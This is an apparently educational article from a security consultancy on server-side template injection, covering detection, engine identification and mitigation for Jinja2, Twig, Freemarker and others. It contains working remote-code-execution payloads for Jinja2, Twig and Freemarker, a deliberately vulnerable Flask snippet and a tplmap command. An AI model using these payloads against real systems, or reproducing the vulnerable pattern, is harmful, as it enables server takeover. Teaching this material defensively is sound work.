Server-Side Template Injection (SSTI) - Template Engine Attacks
SSTI occurs when user input is inserted into template engines without escaping. How attackers exploit template syntax for remote code execution.
Table of Contents (4 sections)
Summary: Server-side template injection occurs when user input is inserted directly into template engines without prior escaping. Attackers can exploit template syntax to execute server-side code, potentially escalating to remote code execution. Affected: Jinja2 (Python), Twig (PHP), Freemarker (Java), Handlebars (Node.js). Detectable by {{7*7}} = 49 in the output. Protection: Render templates only using trusted templates.
Server-Side Template Injection (SSTI) occurs when a web application inserts user input directly into template strings that are then processed by a template engine. Unlike Cross-Site Scripting (XSS - injection in the browser), SSTI takes place on the server side and allows for direct code execution on the server - one of the most dangerous web vulnerabilities of all.
The Basic Principle
# Vulnerable code (Python/Jinja2):
from flask import Flask, render_template_string, request
app = Flask(__name__)
@app.route('/hello')
def hello():
name = request.args.get('name')
# UNSAFE: User input directly in template string!
template = f"<h1>Hello {name}!</h1>"
return render_template_string(template)
Normal usage:
GET /hello?name=Alice
→ Template: <h1>Hello Alice!</h1>
SSTI Detection (Step 1):
GET /hello?name={{7*7}}
→ Template: <h1>Hello 49!</h1> ← Jinja2 calculated 7*7!
→ SSTI confirmed! (XSS would output {{7*7}} unchanged)
Engine identification (Step 2):
| Payload | Result | Engine |
|---|---|---|
{{7*7}} → 49 AND {{7*'7'}} → '7777777' | Twig (PHP) | |
{{7*7}} → 49 AND {{7*'7'}} → 49 | Jinja2 (Python) | |
${7*7} → 49 | Freemarker (Java) | |
#{7*7} → 49 | Mako (Python) | |
<%= 7*7 %> → 49 | ERB (Ruby) |
SSTI Exploitation by Template Engine
Jinja2 (Python/Flask)
Detection: {{7*7}} → 49
Information Leak:
{{config}} → Flask configuration + SECRET_KEY!
{{config.items()}} → All configuration values
RCE via Python Object Hierarchy (conceptual):
- Jinja2 allows access to Python objects via
__class__,__mro__,__subclasses__()attributes - Traversal up to sys, os, subprocess modules
- From there: Operating system commands can be invoked
{{cycler.__init__.__globals__.os.popen('id').read()}}
→ Returns user/group of the web server process → RCE!
Twig (PHP)
Detection: {{7*7}} → 49 AND {{7*'7'}} → '7777777'
RCE Method:
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("id")}}
→ Registers system() as a filter → Command execution
Freemarker (Java)
Exploit: ${7*7} → 49
RCE via Execute class:
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}
→ Freemarker instantiates Execute class → OS command
ERB (Ruby on Rails)
Detection: <%= 7*7 %> → 49
Backtick syntax in ERB → Subshell execution → RCE
Handlebars (Node.js)
Detection: {{7}} → 7 (Handlebars escapes, restricts)
- Prototype pollution combination required for RCE
- Less direct than Jinja2 or Twig
Detection in Penetration Testing
Test all input fields
- GET/POST parameters
- URL path segments
- HTTP headers (User-Agent, X-Custom-Header)
- Cookie values
- JSON fields
- Email templates (often overlooked!)
Math Test (Engine-agnostic)
| Payload | Engine |
|---|---|
{{7*7}} | Jinja2/Twig: 49 |
${7*7} | Freemarker/OGNL: 49 |
#{7*7} | Mako/EL: 49 |
<%= 7*7 %> | ERB: 49 |
No result (literal {{7*7}}) → no SSTI, but check for XSS!
Difference between SSTI and XSS
- XSS payload:
<script>alert(1)</script>→ Executed in the browser - SSTI payload:
{{7*7}}→ 49 calculated on the server! - XSS and SSTI can exist simultaneously
Automated (tplmap)
python3 tplmap.py -u "https://target.com/hello?name=*"
# → Automatic engine detection + exploitation testing
# → Like sqlmap, but for SSTI
Blind SSTI (no output visible)
- Time-Based:
{{6000000*6000000}}→ Measurable CPU spike? - OOB: DNS exfiltration via network requests from templates
Email Template Testing
- Many template engines used for emails
- "Your name: {{user_input}}" in email body
- SSTI in email → RCE even though no HTTP response is returned!
- Indicator: Email displays calculated expression instead of literal
Mitigation Measures
> Basic Rule: NEVER insert user input into template strings! Pass user input as template variables!
Python (Jinja2/Flask)
# WRONG - User input in template string:
template_str = "Hello " + user_name + "!"
return render_template_string(template_str)
# CORRECT - User input as a template variable:
return render_template_string(
"Hello {{ name }}!", # Fixed template (no user input!)
name=user_name # User input as a safe context value
)
# Jinja2 automatically escapes {{ name }} (HTML entities)!
# BETTER - Load template from file:
return render_template('hello.html', name=user_name)
# Templates in the /templates/ folder, only trusted files!
PHP (Twig)
# WRONG:
$template = $twig->createTemplate("Hello " . $user_name);
# RIGHT:
$template = $twig->load('hello.html.twig');
echo $template->render(['name' => $user_name]);
Java (Freemarker)
// WRONG: Create template string from user input
Template t = new Template("name", new StringReader(userInput), cfg);
// CORRECT: Load template from file
Template t = cfg.getTemplate("hello.ftl");
Map<string, object=""> root = new HashMap<>();
root.put("name", userName); // As a variable, not in the template!
t.process(root, out);
Sandbox mode (when user templates are unavoidable)
# Jinja2 SandboxedEnvironment:
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string(user_template)
# Restricted namespace: no __class__, no __globals__
# But: Sandbox is not infallible! Escapes are possible!
// Twig Sandbox:
$policy = new SecurityPolicy($tags, $filters, $methods, $properties, $functions);
$sandbox = new SandboxExtension($policy);
$twig->addExtension($sandbox);
// Only explicitly allowed tags/filters/methods can be used
Additional Measures
- Least Privilege: Do not run the web server as root
- WAF: Filter known SSTI patterns (
{{,${,<%=) - Monitoring: Template engine errors → SOC alert
- Output encoding: Actively check this even for template engines
- Code reviews: Flag every
render_template_stringthat includes user input</string,>
Questions about this topic?
Our experts advise you free of charge and without obligation.
About the Author
Geschäftsführender Gesellschafter der AWARE7 GmbH mit langjähriger Expertise in Informationssicherheit, Penetrationstesting und IT-Risikomanagement. Absolvent des Masterstudiengangs Internet-Sicherheit an der Westfälischen Hochschule (if(is), Prof. Norbert Pohlmann). Bestseller-Autor im Wiley-VCH Verlag und Lehrbeauftragter der ASW-Akademie. Einschätzungen zu Cybersecurity und digitaler Souveränität erschienen u.a. in Welt am Sonntag, WDR, Deutschlandfunk und Handelsblatt.
10 Publikationen
- Einsatz von elektronischer Verschlüsselung - Hemmnisse für die Wirtschaft (2018)
- Kompass IT-Verschlüsselung - Orientierungshilfen für KMU (2018)
- IT Security Day 2025 - Live Hacking: KI in der Cybersicherheit (2025)
- Live Hacking - Credential Stuffing: Finanzrisiken jenseits Ransomware (2025)
- Keynote: Live Hacking Show - Ein Blick in die Welt der Cyberkriminalität (2025)
- Analyse von Angriffsflächen bei Shared-Hosting-Anbietern (2024)
- Gänsehaut garantiert: Die schaurigsten Funde aus dem Leben eines Pentesters (2022)
- IT Security Zertifizierungen - CISSP, T.I.S.P. & Co (Live-Webinar) (2023)
- Sicherheitsforum Online-Banking - Live Hacking (2021)
- Nipster im Netz und das Ende der Kreidezeit (2017)